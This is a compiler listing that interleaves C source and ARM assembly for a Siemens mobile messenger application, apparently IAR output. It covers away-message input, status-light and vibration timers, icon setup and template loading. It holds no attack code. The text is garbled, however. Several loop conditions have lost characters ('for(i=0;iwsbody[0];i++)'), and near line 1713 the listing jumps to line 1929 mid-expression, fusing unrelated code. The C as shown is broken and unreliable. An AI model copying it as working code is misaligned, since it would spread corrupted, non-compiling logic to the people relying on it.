;; `?` \ 00000024 2400A0E3 MOV R0,#+36 \ 00000028 880D80E3 ORR R0,R0,#0x2200 \ 0000002C 042080E0 ADD R2,R0,R4 \ 00000030 0D00A0E1 MOV R0,SP \ 00000034 160000EF SWI +22 1543 PrintField(auto_x,auto_y, awayTime, align, fonto, spaco1); \ 00000038 0C0194E5 LDR R0,[R4, #+268] \ 0000003C 01002DE9 PUSH {R0} \ 00000040 080194E5 LDR R0,[R4, #+264] \ 00000044 01002DE9 PUSH {R0} \ 00000048 303294E5 LDR R3,[R4, #+560] \ 0000004C 241194E5 LDR R1,[R4, #+292] \ 00000050 200194E5 LDR R0,[R4, #+288] \ 00000054 08208DE2 ADD R2,SP,#+8 \ 00000058 ........ _BLF PrintField,??PrintField??rA \ 0000005C 08D08DE2 ADD SP,SP,#+8 1544 } 1545 } \ ??DrawAutoMSG_0: \ 00000060 40D08DE2 ADD SP,SP,#+64 ;; stack cleaning \ 00000064 1080BDE8 POP {R4,PC} ;; return \ ??DrawAutoMSG_1: \ 00000068 ........ DC32 `?` 1546 1547 1548 //---------------------------- Input away msg ---------------------------// 1549 1550 //Вводим сообщение какое хотим,а не то что прописали в конфиге 1551 int input_awaymsg_id; 1552 1553 const HEADER_DESC input_awaymsg_hdr={0,0,131,21,NULL,(int)"Ввод автосообщения",LGP_NULL}; 1554 void UpdateCLheader(void); \ In segment CODE, align 4, keep-with-next 1555 int input_awaymsg_onkey(GUI *data, GUI_MSG *msg) 1556 { \ input_awaymsg_onkey: \ 00000000 F0432DE9 PUSH {R4-R9,LR} \ 00000004 2CD04DE2 SUB SP,SP,#+44 \ 00000008 0070A0E1 MOV R7,R0 1557 WSHDR *ws; 1558 if (msg->keys==0x0FFF || msg->keys==VOL_DOWN_BUTTON) \ 0000000C ........ LDR R5,??DataTable19 ;; S_ICONS \ 00000010 0140A0E1 MOV R4,R1 \ 00000014 F200D4E1 LDRSH R0,[R4, #+2] \ 00000018 0060A0E3 MOV R6,#+0 \ 0000001C FF10A0E3 MOV R1,#+255 \ 00000020 F01E81E3 ORR R1,R1,#0xF00 \ 00000024 010050E1 CMP R0,R1 \ 00000028 0E005013 CMPNE R0,#+14 \ 0000002C 3800001A BNE ??input_awaymsg_onkey_0 1559 { 1560 EDITCONTROL ec; 1561 ExtractEditControl(data,2,&ec); \ 00000030 0D20A0E1 MOV R2,SP \ 00000034 0210A0E3 MOV R1,#+2 \ 00000038 0700A0E1 MOV R0,R7 \ 0000003C 690100EF SWI +361 1562 ws=ec.pWS; \ 00000040 28809DE5 LDR R8,[SP, #+40] 1563 int i=0; 1564 for(i=0;iwsbody[0];i++) \ 00000044 0090A0E3 MOV R9,#+0 \ 00000048 000098E5 LDR R0,[R8, #+0] \ 0000004C B000D0E1 LDRH R0,[R0, #+0] \ 00000050 000050E3 CMP R0,#+0 \ 00000054 0600001A BNE ??input_awaymsg_onkey_1 \ 00000058 090000EA B ??input_awaymsg_onkey_2 1565 awayMsg[i]=char16to8(ws->wsbody[i+1]); \ ??input_awaymsg_onkey_3: \ 0000005C 890080E0 ADD R0,R0,R9, LSL #+1 \ 00000060 B200D0E1 LDRH R0,[R0, #+2] \ 00000064 ........ _BLF char16to8,??char16to8??rA \ 00000068 051089E0 ADD R1,R9,R5 \ 0000006C 0804C1E5 STRB R0,[R1, #+1032] \ 00000070 019089E2 ADD R9,R9,#+1 \ ??input_awaymsg_onkey_1: \ 00000074 000098E5 LDR R0,[R8, #+0] \ 00000078 B010D0E1 LDRH R1,[R0, #+0] \ 0000007C 010059E1 CMP R9,R1 \ 00000080 F5FFFFBA BLT ??input_awaymsg_onkey_3 1566 awayMsg[i++]='0'; \ ??input_awaymsg_onkey_2: \ 00000084 050089E0 ADD R0,R9,R5 \ 00000088 3010A0E3 MOV R1,#+48 \ 0000008C 0814C0E5 STRB R1,[R0, #+1032] 1567 1568 #ifdef kluchnik 1569 char *s; 1570 ExtractEditControl(data,4,&ec); \ 00000090 0D20A0E1 MOV R2,SP \ 00000094 0410A0E3 MOV R1,#+4 \ 00000098 0700A0E1 MOV R0,R7 \ 0000009C 690100EF SWI +361 1571 ws=ec.pWS; 1572 s=malloc(ec.maxlen); \ 000000A0 F801DDE1 LDRSH R0,[SP, #+24] \ 000000A4 28709DE5 LDR R7,[SP, #+40] 1573 for(i=0;iwsbody[0];i++) \ 000000A8 0090A0E3 MOV R9,#+0 \ 000000AC 140000EF SWI +20 \ 000000B0 0080A0E1 MOV R8,R0 \ 000000B4 000097E5 LDR R0,[R7, #+0] \ 000000B8 B000D0E1 LDRH R0,[R0, #+0] \ 000000BC 000050E3 CMP R0,#+0 \ 000000C0 0500001A BNE ??input_awaymsg_onkey_4 \ 000000C4 080000EA B ??input_awaymsg_onkey_5 1574 *(s+i)=char16to8(ws->wsbody[i+1]); \ ??input_awaymsg_onkey_6: \ 000000C8 890080E0 ADD R0,R0,R9, LSL #+1 \ 000000CC B200D0E1 LDRH R0,[R0, #+2] \ 000000D0 ........ _BLF char16to8,??char16to8??rA \ 000000D4 0800C9E7 STRB R0,[R9, +R8] \ 000000D8 019089E2 ADD R9,R9,#+1 \ ??input_awaymsg_onkey_4: \ 000000DC 000097E5 LDR R0,[R7, #+0] \ 000000E0 B010D0E1 LDRH R1,[R0, #+0] \ 000000E4 010059E1 CMP R9,R1 \ 000000E8 F6FFFFBA BLT ??input_awaymsg_onkey_6 1575 *(s+i++)=0; \ ??input_awaymsg_onkey_5: \ 000000EC 0860C9E7 STRB R6,[R9, +R8] 1576 strcat(awayMsg,s); \ 000000F0 0810A0E1 MOV R1,R8 \ 000000F4 0800A0E3 MOV R0,#+8 \ 000000F8 400E80E3 ORR R0,R0,#0x400 \ 000000FC 050080E0 ADD R0,R0,R5 \ 00000100 170000EF SWI +23 1577 #endif 1578 1579 UpdateCLheader(); \ 00000104 ........ BL UpdateCLheader 1580 GeneralFunc_flag1(input_awaymsg_id,1); \ 00000108 B00295E5 LDR R0,[R5, #+688] \ 0000010C 0110A0E3 MOV R1,#+1 \ 00000110 3D0100EF SWI +317 1581 // GeneralFuncF1(1); 1582 } 1583 1584 if(msg->keys==LEFT_SOFT || msg->keys==RED_BUTTON) \ ??input_awaymsg_onkey_0: \ 00000114 F200D4E1 LDRSH R0,[R4, #+2] \ 00000118 010050E3 CMP R0,#+1 \ 0000011C 0C005013 CMPNE R0,#+12 \ 00000120 0200001A BNE ??input_awaymsg_onkey_7 1585 { 1586 msg_away_timer=0; \ 00000124 806285E5 STR R6,[R5, #+640] 1587 away_m=0; \ 00000128 846285E5 STR R6,[R5, #+644] 1588 UpdateCLheader(); \ 0000012C ........ BL UpdateCLheader 1589 } 1590 return(0); \ ??input_awaymsg_onkey_7: \ 00000130 0000A0E3 MOV R0,#+0 \ 00000134 2CD08DE2 ADD SP,SP,#+44 \ 00000138 F083BDE8 POP {R4-R9,PC} ;; return 1591 } 1592 \ In segment CODE, align 4, keep-with-next 1593 void input_awaymsg_ghook(GUI *gui, int cmd) 1594 { \ input_awaymsg_ghook: \ 00000000 00402DE9 PUSH {LR} 1595 static SOFTKEY_DESC sk={0x0FFF,0x0000,(int)"Сохранить"}; 1596 if (cmd==7) \ 00000004 070051E3 CMP R1,#+7 \ 00000008 0300001A BNE ??input_awaymsg_ghook_0 1597 { 1598 SetSoftKey(gui,&sk,SET_SOFT_KEY_N); \ 0000000C 2C109FE5 LDR R1,??input_awaymsg_ghook_1 ;; ??sk \ 00000010 0020A0E3 MOV R2,#+0 \ 00000014 680100EF SWI +360 \ 00000018 0080BDE8 POP {PC} 1599 } 1600 if(cmd==0xA) \ ??input_awaymsg_ghook_0: \ 0000001C 0A0051E3 CMP R1,#+10 \ 00000020 0100001A BNE ??input_awaymsg_ghook_2 1601 { 1602 DisableIDLETMR(); // Отключаем таймер выхода по таймауту \ 00000024 7F0100EF SWI +383 \ 00000028 0080BDE8 POP {PC} 1603 } 1604 if (cmd==0x0C) \ ??input_awaymsg_ghook_2: \ 0000002C 0C0051E3 CMP R1,#+12 \ 00000030 0080BD18 POPNE {PC} 1605 { 1606 EDIT_SetCursorPos(gui,1); \ 00000034 0110A0E3 MOV R1,#+1 \ 00000038 D40100EF SWI +468 1607 } 1608 if(cmd==0x03){} 1609 } \ 0000003C 0080BDE8 POP {PC} ;; return \ ??input_awaymsg_ghook_1: \ 00000040 ........ DC32 ??sk 1610 \ In segment CODE, align 4, keep-with-next 1611 void input_awaymsg_locret(void){} \ input_awaymsg_locret: \ 00000000 1EFF2FE1 BX LR ;; return 1612 1613 SOFTKEY_DESC input_awaymsg_sk[]= 1614 { 1615 {0x0018,0x0000,(int)"Лев"}, 1616 {0x0001,0x0000,(int)"Прав"}, 1617 {0x003D,0x0000,(int)LGP_DOIT_PIC} 1618 }; 1619 1620 SOFTKEYSTAB input_awaymsg_skt= 1621 { 1622 input_awaymsg_sk,0 1623 }; 1624 1625 const INPUTDIA_DESC input_awaymsg_desc= 1626 { 1627 1, 1628 input_awaymsg_onkey, 1629 input_awaymsg_ghook, 1630 (void *)input_awaymsg_locret, 1631 0, 1632 &input_awaymsg_skt, 1633 {0,NULL,NULL,NULL}, 1634 FONT_SMALL, 1635 100, 1636 101, 1637 0, 1638 0x00000000, 1639 0x40000000 1640 }; 1641 \ In segment CODE, align 4, keep-with-next 1642 void InputAwayMsg() 1643 { \ InputAwayMsg: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 1644 WSHDR *wss=AllocWS(256); 1645 void *ma=malloc_adr(); 1646 void *eq=AllocEQueue(ma, mfree_adr()); 1647 EDITCONTROL ec; 1648 PrepareEditControl(&ec); 1649 wsprintf(wss,"%t","Сообщение:\n"); \ 00000004 B0519FE5 LDR R5,??InputAwayMsg_0+0x4 ;; input_awaymsg_desc \ 00000008 2CD04DE2 SUB SP,SP,#+44 \ 0000000C 400FA0E3 MOV R0,#+256 \ 00000010 250100EF SWI +293 \ 00000014 0060A0E1 MOV R6,R0 \ 00000018 148000EF SWI +32788 \ 0000001C 0070A0E1 MOV R7,R0 \ 00000020 158000EF SWI +32789 \ 00000024 0010A0E1 MOV R1,R0 \ 00000028 0700A0E1 MOV R0,R7 \ 0000002C 630100EF SWI +355 \ 00000030 0040A0E1 MOV R4,R0 \ 00000034 0D00A0E1 MOV R0,SP \ 00000038 640100EF SWI +356 \ 0000003C 5D8F8FE2 ADR R8,??InputAwayMsg_0 ;; "%t" \ 00000040 602085E2 ADD R2,R5,#+96 \ 00000044 0810A0E1 MOV R1,R8 1650 ConstructEditControl(&ec,ECT_HEADER,ECF_NORMAL_STR,wss,32); 1651 AddEditControlToEditQend(eq,&ec,ma); 1652 1653 PrepareEditControl(&ec); 1654 CutWSTR(wss,0); 1655 ascii2ws(wss,awayMsg); \ 00000048 ........ LDR R9,??DataTable42 ;; S_ICONS \ 0000004C 0600A0E1 MOV R0,R6 \ 00000050 240100EF SWI +292 \ 00000054 2000A0E3 MOV R0,#+32 \ 00000058 01002DE9 PUSH {R0} \ 0000005C 0630A0E1 MOV R3,R6 \ 00000060 0020A0E3 MOV R2,#+0 \ 00000064 0110A0E3 MOV R1,#+1 \ 00000068 04008DE2 ADD R0,SP,#+4 \ 0000006C 650100EF SWI +357 \ 00000070 0720A0E1 MOV R2,R7 \ 00000074 04108DE2 ADD R1,SP,#+4 \ 00000078 0400A0E1 MOV R0,R4 \ 0000007C 660100EF SWI +358 \ 00000080 04008DE2 ADD R0,SP,#+4 \ 00000084 640100EF SWI +356 \ 00000088 0010A0E3 MOV R1,#+0 \ 0000008C 0600A0E1 MOV R0,R6 \ 00000090 260100EF SWI +294 \ 00000094 0800A0E3 MOV R0,#+8 \ 00000098 400E80E3 ORR R0,R0,#0x400 \ 0000009C 091080E0 ADD R1,R0,R9 \ 000000A0 0600A0E1 MOV R0,R6 \ 000000A4 ........ _BLF ascii2ws,??ascii2ws??rA 1656 ConstructEditControl(&ec,ECT_NORMAL_TEXT,ECF_APPEND_EOL,wss,255); \ 000000A8 FF00A0E3 MOV R0,#+255 \ 000000AC 01002DE9 PUSH {R0} \ 000000B0 0630A0E1 MOV R3,R6 \ 000000B4 4020A0E3 MOV R2,#+64 \ 000000B8 0310A0E3 MOV R1,#+3 \ 000000BC 08008DE2 ADD R0,SP,#+8 \ 000000C0 650100EF SWI +357 1657 AddEditControlToEditQend(eq,&ec,ma); \ 000000C4 0720A0E1 MOV R2,R7 \ 000000C8 08108DE2 ADD R1,SP,#+8 \ 000000CC 0400A0E1 MOV R0,R4 \ 000000D0 660100EF SWI +358 1658 #ifdef kluchnik 1659 PrepareEditControl(&ec); \ 000000D4 08008DE2 ADD R0,SP,#+8 \ 000000D8 640100EF SWI +356 1660 wsprintf(wss,"%t","Сообщение 2:\n"); \ 000000DC 502085E2 ADD R2,R5,#+80 \ 000000E0 0810A0E1 MOV R1,R8 \ 000000E4 0600A0E1 MOV R0,R6 \ 000000E8 240100EF SWI +292 1661 ConstructEditControl(&ec,ECT_HEADER,ECF_NORMAL_STR,wss,32); \ 000000EC 2000A0E3 MOV R0,#+32 \ 000000F0 01002DE9 PUSH {R0} \ 000000F4 0630A0E1 MOV R3,R6 \ 000000F8 0020A0E3 MOV R2,#+0 \ 000000FC 0110A0E3 MOV R1,#+1 \ 00000100 0C008DE2 ADD R0,SP,#+12 \ 00000104 650100EF SWI +357 1662 AddEditControlToEditQend(eq,&ec,ma); \ 00000108 0720A0E1 MOV R2,R7 \ 0000010C 0C108DE2 ADD R1,SP,#+12 \ 00000110 0400A0E1 MOV R0,R4 \ 00000114 660100EF SWI +358 1663 1664 ascii2ws(wss,"когда смогу отвечу:)"); \ 00000118 381085E2 ADD R1,R5,#+56 \ 0000011C 0600A0E1 MOV R0,R6 \ 00000120 ........ _BLF ascii2ws,??ascii2ws??rA 1665 ConstructEditControl(&ec,ECT_NORMAL_TEXT,ECF_APPEND_EOL,wss,255); \ 00000124 FF00A0E3 MOV R0,#+255 \ 00000128 01002DE9 PUSH {R0} \ 0000012C 0630A0E1 MOV R3,R6 \ 00000130 4020A0E3 MOV R2,#+64 \ 00000134 0310A0E3 MOV R1,#+3 \ 00000138 10008DE2 ADD R0,SP,#+16 \ 0000013C 650100EF SWI +357 1666 AddEditControlToEditQend(eq,&ec,ma); \ 00000140 0720A0E1 MOV R2,R7 \ 00000144 10108DE2 ADD R1,SP,#+16 \ 00000148 0400A0E1 MOV R0,R4 \ 0000014C 660100EF SWI +358 1667 #endif 1668 patch_header(&input_awaymsg_hdr); \ 00000150 6C0085E2 ADD R0,R5,#+108 \ 00000154 ........ _BLF patch_header,??patch_header??rA 1669 patch_input(&input_awaymsg_desc); \ 00000158 0000A0E3 MOV R0,#+0 \ 0000015C B801C5E1 STRH R0,[R5, #+24] \ 00000160 8A8100EF SWI +33162 \ 00000164 190080E2 ADD R0,R0,#+25 \ 00000168 BA01C5E1 STRH R0,[R5, #+26] \ 0000016C 888100EF SWI +33160 \ 00000170 010040E2 SUB R0,R0,#+1 \ 00000174 BC01C5E1 STRH R0,[R5, #+28] \ 00000178 898100EF SWI +33161 \ 0000017C 0060A0E1 MOV R6,R0 \ 00000180 8B8100EF SWI +33163 \ 00000184 000046E0 SUB R0,R6,R0 \ 00000188 010040E2 SUB R0,R0,#+1 \ 0000018C BE01C5E1 STRH R0,[R5, #+30] 1670 1671 input_awaymsg_id=CreateInputTextDialog(&input_awaymsg_desc,&input_awaymsg_hdr,eq,1,0);//создаем диалоговое окно \ 00000190 0000A0E3 MOV R0,#+0 \ 00000194 01002DE9 PUSH {R0} \ 00000198 0130A0E3 MOV R3,#+1 \ 0000019C 0420A0E1 MOV R2,R4 \ 000001A0 6C1085E2 ADD R1,R5,#+108 \ 000001A4 0500A0E1 MOV R0,R5 \ 000001A8 670100EF SWI +359 \ 000001AC B00289E5 STR R0,[R9, #+688] 1672 } \ 000001B0 40D08DE2 ADD SP,SP,#+64 \ 000001B4 F083BDE8 POP {R4-R9,PC} ;; return \ ??InputAwayMsg_0: \ 000001B8 25740000 DC8 "%t",+0 \ 000001BC ........ DC32 input_awaymsg_desc 1673 1674 1675 //////////////////////////uptime////////////////////////// 1676 #ifdef ELKA \ In segment CODE, align 4, keep-with-next 1677 void SLI_On() 1678 { \ SLI_On: \ 00000000 10402DE9 PUSH {R4,LR} 1679 if(Is_SLI_On) \ 00000004 ........ LDR R4,??DataTable42 ;; S_ICONS \ 00000008 4C0294E5 LDR R0,[R4, #+588] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 0100000A BEQ ??SLI_On_0 1680 SLI_SetState(1); \ 00000014 0100A0E3 MOV R0,#+1 \ 00000018 360000EF SWI +54 1681 GBS_StartTimerProc(&mytmr, IN_TICKS(2) / 20, SLI_Off); \ ??SLI_On_0: \ 0000001C 14209FE5 LDR R2,??SLI_On_1 ;; SLI_Off \ 00000020 1510A0E3 MOV R1,#+21 \ 00000024 5400A0E3 MOV R0,#+84 \ 00000028 880D80E3 ORR R0,R0,#0x2200 \ 0000002C 040080E0 ADD R0,R0,R4 \ 00000030 4D0000EF SWI +77 1682 } \ 00000034 1080BDE8 POP {R4,PC} ;; return \ ??SLI_On_1: \ 00000038 ........ DC32 SLI_Off 1683 \ In segment CODE, align 4, keep-with-next 1684 void SLI_Off() 1685 { \ SLI_Off: \ 00000000 00402DE9 PUSH {LR} 1686 SLI_SetState(2); \ 00000004 0200A0E3 MOV R0,#+2 \ 00000008 360000EF SWI +54 1687 if(total_unread) \ 0000000C ........ LDR R0,??DataTable42 ;; S_ICONS \ 00000010 0C1390E5 LDR R1,[R0, #+780] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0600000A BEQ ??SLI_Off_0 1688 GBS_StartTimerProc(&mytmr, IN_TICKS(2) / 20, SLI_On); //26*SLI_time2 \ 0000001C 20209FE5 LDR R2,??SLI_Off_1 ;; SLI_On \ 00000020 1510A0E3 MOV R1,#+21 \ 00000024 5430A0E3 MOV R3,#+84 \ 00000028 883D83E3 ORR R3,R3,#0x2200 \ 0000002C 000083E0 ADD R0,R3,R0 \ 00000030 4D0000EF SWI +77 \ 00000034 0080BDE8 POP {PC} 1689 else 1690 SLI_SetState(0); \ ??SLI_Off_0: \ 00000038 0000A0E3 MOV R0,#+0 \ 0000003C 360000EF SWI +54 1691 } \ 00000040 0080BDE8 POP {PC} ;; return \ ??SLI_Off_1: \ 00000044 ........ DC32 SLI_On 1692 \ In segment CODE, align 4, keep-with-next 1693 void SLI_check() 1694 { 1695 if (total_unread) \ SLI_check: \ 00000000 14009FE5 LDR R0,??SLI_check_0 ;; S_ICONS + 780 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C 000050E3 CMP R0,#+0 \ 00000010 0080BD08 POPEQ {PC} 1696 SLI_On(); \ 00000014 ........ BL SLI_On 1697 } \ 00000018 0080BDE8 POP {PC} ;; return \ ??SLI_check_0: \ 0000001C ........ DC32 S_ICONS + 780 1698 \ In segment CODE, align 4, keep-with-next 1699 void SLI_Timer() 1700 { 1701 GBS_StartTimerProc(&mytmr, 262, SLI_check); //262*SLI_time \ SLI_Timer: \ 00000000 14209FE5 LDR R2,??SLI_Timer_0 ;; SLI_check \ 00000004 14009FE5 LDR R0,??SLI_Timer_0+0x4 ;; S_ICONS + 8788 \ 00000008 00402DE9 PUSH {LR} \ 0000000C 0610A0E3 MOV R1,#+6 \ 00000010 401F81E3 ORR R1,R1,#0x100 \ 00000014 4D0000EF SWI +77 1702 } \ 00000018 0080BDE8 POP {PC} ;; return \ ??SLI_Timer_0: \ 0000001C ........ DC32 SLI_check \ 00000020 ........ DC32 S_ICONS + 8788 1703 #endif 1704 \ In segment CODE, align 4, keep-with-next 1705 void setup_ICONS(void) 1706 { \ setup_ICONS: \ 00000000 30402DE9 PUSH {R4,R5,LR} 1707 int i=0; \ 00000004 ........ LDR R5,??DataTable43 ;; S_ICONS \ 00000008 0040A0E3 MOV R4,#+0 1708 do 1709 { 1710 if (!S_ICONS[i]) S_ICONS[i]=(int)MakeGlobalString(ICON_PATH,'\\',icons_names[i]); \ ??setup_ICONS_0: \ 0000000C 040195E7 LDR R0,[R5, +R4, LSL #+2] \ 00000010 000050E3 CMP R0,#+0 \ 00000014 0600001A BNE ??setup_ICONS_1 \ 00000018 24009FE5 LDR R0,??setup_ICONS_2 ;; icons_names \ 0000001C 5C10A0E3 MOV R1,#+92 \ 00000020 042190E7 LDR R2,[R0, +R4, LSL #+2] \ 00000024 CD0E81E2 ADD R0,R1,#+3280 \ 00000028 050080E0 ADD R0,R0,R5 \ 0000002C ........ _BLF MakeGlobalString,??MakeGlobalString??rA \ 00000030 040185E7 STR R0,[R5, +R4, LSL #+2] 1711 i++; \ ??setup_ICONS_1: \ 00000034 014084E2 ADD R4,R4,#+1 1712 } 1713 while(i>2,stop_vibra); \ 00000044 3610A0E3 MOV R1,#+54 \ 00000048 000000EA B ??start_vibra_2 1929 else 1930 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>1,stop_vibra); \ ??start_vibra_1: \ 0000004C 6C10A0E3 MOV R1,#+108 \ ??start_vibra_2: \ 00000050 4D0000EF SWI +77 1931 } 1932 } \ 00000054 1080BDE8 POP {R4,PC} ;; return \ ??start_vibra_0: \ 00000058 ........ DC32 stop_vibra 1933 \ In segment CODE, align 4, keep-with-next 1934 void stop_vibra(void) 1935 { \ stop_vibra: \ 00000000 00402DE9 PUSH {LR} 1936 SetVibration(0); \ 00000004 0000A0E3 MOV R0,#+0 \ 00000008 7C0000EF SWI +124 1937 if (--vibra_count) \ 0000000C ........ LDR R1,??DataTable42 ;; S_ICONS \ 00000010 D00291E5 LDR R0,[R1, #+720] \ 00000014 010050E2 SUBS R0,R0,#+1 \ 00000018 D00281E5 STR R0,[R1, #+720] \ 0000001C 0080BD08 POPEQ {PC} 1938 { 1939 if(VIBR_TYPE) \ 00000020 28209FE5 LDR R2,??stop_vibra_0 ;; start_vibra \ 00000024 7400A0E3 MOV R0,#+116 \ 00000028 900D80E3 ORR R0,R0,#0x2400 \ 0000002C 010080E0 ADD R0,R0,R1 \ 00000030 7C1191E5 LDR R1,[R1, #+380] \ 00000034 000051E3 CMP R1,#+0 \ 00000038 0100000A BEQ ??stop_vibra_1 1940 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>5,start_vibra); \ 0000003C 0610A0E3 MOV R1,#+6 \ 00000040 000000EA B ??stop_vibra_2 1941 else 1942 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>1,start_vibra); \ ??stop_vibra_1: \ 00000044 6C10A0E3 MOV R1,#+108 \ ??stop_vibra_2: \ 00000048 4D0000EF SWI +77 1943 } 1944 } \ 0000004C 0080BDE8 POP {PC} ;; return \ ??stop_vibra_0: \ 00000050 ........ DC32 start_vibra 1945 \ In segment CODE, align 4, keep-with-next 1946 void start_vibra2(void) 1947 { \ start_vibra2: \ 00000000 10402DE9 PUSH {R4,LR} 1948 void stop_vibra2(void); 1949 1950 SetVibration(vibraPower); \ 00000004 ........ LDR R4,??DataTable42 ;; S_ICONS \ 00000008 9C0194E5 LDR R0,[R4, #+412] \ 0000000C 7C0000EF SWI +124 1951 if(VIBR_TYPE) \ 00000010 7C1194E5 LDR R1,[R4, #+380] \ 00000014 1C209FE5 LDR R2,??start_vibra2_0 ;; stop_vibra2 \ 00000018 7400A0E3 MOV R0,#+116 \ 0000001C 900D80E3 ORR R0,R0,#0x2400 \ 00000020 040080E0 ADD R0,R0,R4 \ 00000024 000051E3 CMP R1,#+0 1952 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>2,stop_vibra2); \ 00000028 3610A013 MOVNE R1,#+54 1953 else 1954 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>1,stop_vibra2); \ 0000002C 6C10A003 MOVEQ R1,#+108 \ 00000030 4D0000EF SWI +77 1955 } \ 00000034 1080BDE8 POP {R4,PC} ;; return \ ??start_vibra2_0: \ 00000038 ........ DC32 stop_vibra2 1956 \ In segment CODE, align 4, keep-with-next 1957 void stop_vibra2(void) 1958 { \ stop_vibra2: \ 00000000 00402DE9 PUSH {LR} 1959 SetVibration(0); \ 00000004 0000A0E3 MOV R0,#+0 \ 00000008 7C0000EF SWI +124 1960 if (--vibra_count) \ 0000000C ........ LDR R1,??DataTable42 ;; S_ICONS \ 00000010 D00291E5 LDR R0,[R1, #+720] \ 00000014 010050E2 SUBS R0,R0,#+1 \ 00000018 D00281E5 STR R0,[R1, #+720] \ 0000001C 0080BD08 POPEQ {PC} 1961 { 1962 if(VIBR_TYPE) \ 00000020 28209FE5 LDR R2,??stop_vibra2_0 ;; start_vibra2 \ 00000024 7400A0E3 MOV R0,#+116 \ 00000028 900D80E3 ORR R0,R0,#0x2400 \ 0000002C 010080E0 ADD R0,R0,R1 \ 00000030 7C1191E5 LDR R1,[R1, #+380] \ 00000034 000051E3 CMP R1,#+0 \ 00000038 0100000A BEQ ??stop_vibra2_1 1963 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>5,start_vibra2); \ 0000003C 0610A0E3 MOV R1,#+6 \ 00000040 000000EA B ??stop_vibra2_2 1964 else 1965 GBS_StartTimerProc(&tmr_vibra,TMR_SECOND>>1,start_vibra2); \ ??stop_vibra2_1: \ 00000044 6C10A0E3 MOV R1,#+108 \ ??stop_vibra2_2: \ 00000048 4D0000EF SWI +77 1966 } 1967 } \ 0000004C 0080BDE8 POP {PC} ;; return \ ??stop_vibra2_0: \ 00000050 ........ DC32 start_vibra2 1968 \ In segment CODE, align 4, keep-with-next 1969 void ChangeVibra(void) 1970 { 1971 if (!(Is_Vibra_Enabled=!(Is_Vibra_Enabled))) \ ChangeVibra: \ 00000000 ........ LDR R0,??DataTable42 ;; S_ICONS \ 00000004 00402DE9 PUSH {LR} \ 00000008 701290E5 LDR R1,[R0, #+624] \ 0000000C 000051E3 CMP R1,#+0 \ 00000010 1C109FE5 LDR R1,??ChangeVibra_0 ;; `?` \ 00000040 0520A0E1 MOV R2,R5 \ 00000044 081087E2 ADD R1,R7,#+8 \ 00000048 0600A0E1 MOV R0,R6 \ 0000004C 160000EF SWI +22 2013 if (GetFileStats(fn,&stat,&ul)==-1) goto L1; \ 00000050 0050E0E3 MVN R5,#+0 \ 00000054 0D20A0E1 MOV R2,SP \ 00000058 04108DE2 ADD R1,SP,#+4 \ 0000005C 2C008DE2 ADD R0,SP,#+44 \ 00000060 840000EF SWI +132 \ 00000064 050050E1 CMP R0,R5 \ 00000068 0A00000A BEQ ??LoadTemplates_1 2014 if ((fsize=stat.size)<=0) goto L1; \ 0000006C 08809DE5 LDR R8,[SP, #+8] \ 00000070 010058E3 CMP R8,#+1 \ 00000074 070000BA BLT ??LoadTemplates_1 2015 if ((f=fopen(fn,A_ReadOnly+A_BIN,P_READ,&ul))==-1) \ 00000078 0D30A0E1 MOV R3,SP \ 0000007C 8020A0E3 MOV R2,#+128 \ 00000080 801CA0E3 MOV R1,#+32768 \ 00000084 2C008DE2 ADD R0,SP,#+44 \ 00000088 0A0000EF SWI +10 \ 0000008C 0090A0E1 MOV R9,R0 \ 00000090 050059E1 CMP R9,R5 \ 00000094 1400001A BNE ??LoadTemplates_2 2016 { 2017 L1: 2018 strcpy(fn+i,"\\0.txt"); \ ??LoadTemplates_1: \ 00000098 0710A0E1 MOV R1,R7 \ 0000009C 0600A0E1 MOV R0,R6 \ 000000A0 1A0000EF SWI +26 2019 if (GetFileStats(fn,&stat,&ul)==-1) return 0; \ 000000A4 0D20A0E1 MOV R2,SP \ 000000A8 04108DE2 ADD R1,SP,#+4 \ 000000AC 2C008DE2 ADD R0,SP,#+44 \ 000000B0 840000EF SWI +132 \ 000000B4 050050E1 CMP R0,R5 \ 000000B8 0200001A BNE ??LoadTemplates_3 \ ??LoadTemplates_4: \ 000000BC 0000A0E3 MOV R0,#+0 \ ??LoadTemplates_5: \ 000000C0 4BDF8DE2 ADD SP,SP,#+300 ;; stack cleaning \ 000000C4 F087BDE8 POP {R4-R10,PC} ;; return 2020 if ((fsize=stat.size)<=0) return 0; \ ??LoadTemplates_3: \ 000000C8 08809DE5 LDR R8,[SP, #+8] \ 000000CC 010058E3 CMP R8,#+1 \ 000000D0 F9FFFFBA BLT ??LoadTemplates_4 2021 f=fopen(fn,A_ReadOnly+A_BIN,P_READ,&ul); \ 000000D4 0D30A0E1 MOV R3,SP \ 000000D8 8020A0E3 MOV R2,#+128 \ 000000DC 801CA0E3 MOV R1,#+32768 \ 000000E0 2C008DE2 ADD R0,SP,#+44 \ 000000E4 0A0000EF SWI +10 \ 000000E8 0090A0E1 MOV R9,R0 2022 } 2023 if (f==-1) return 0; \ ??LoadTemplates_2: \ 000000EC 050059E1 CMP R9,R5 \ 000000F0 F1FFFF0A BEQ ??LoadTemplates_4 2024 p=templates_chars=malloc(fsize+1); \ 000000F4 010088E2 ADD R0,R8,#+1 \ 000000F8 140000EF SWI +20 \ 000000FC D40284E5 STR R0,[R4, #+724] \ 00000100 0060A0E1 MOV R6,R0 2025 p[fread(f,p,fsize,&ul)]=0; \ 00000104 0050A0E3 MOV R5,#+0 \ 00000108 0D30A0E1 MOV R3,SP \ 0000010C 0820A0E1 MOV R2,R8 \ 00000110 0610A0E1 MOV R1,R6 \ 00000114 0900A0E1 MOV R0,R9 \ 00000118 0B0000EF SWI +11 \ 0000011C 0650C0E7 STRB R5,[R0, +R6] 2026 fclose(f,&ul); \ 00000120 0D10A0E1 MOV R1,SP \ 00000124 0900A0E1 MOV R0,R9 \ 00000128 0D0000EF SWI +13 2027 i=0; \ 0000012C 0070A0E3 MOV R7,#+0 2028 pp=p; \ 00000130 0680A0E1 MOV R8,R6 \ 00000134 020000EA B ??LoadTemplates_6 2029 for(;;) 2030 { 2031 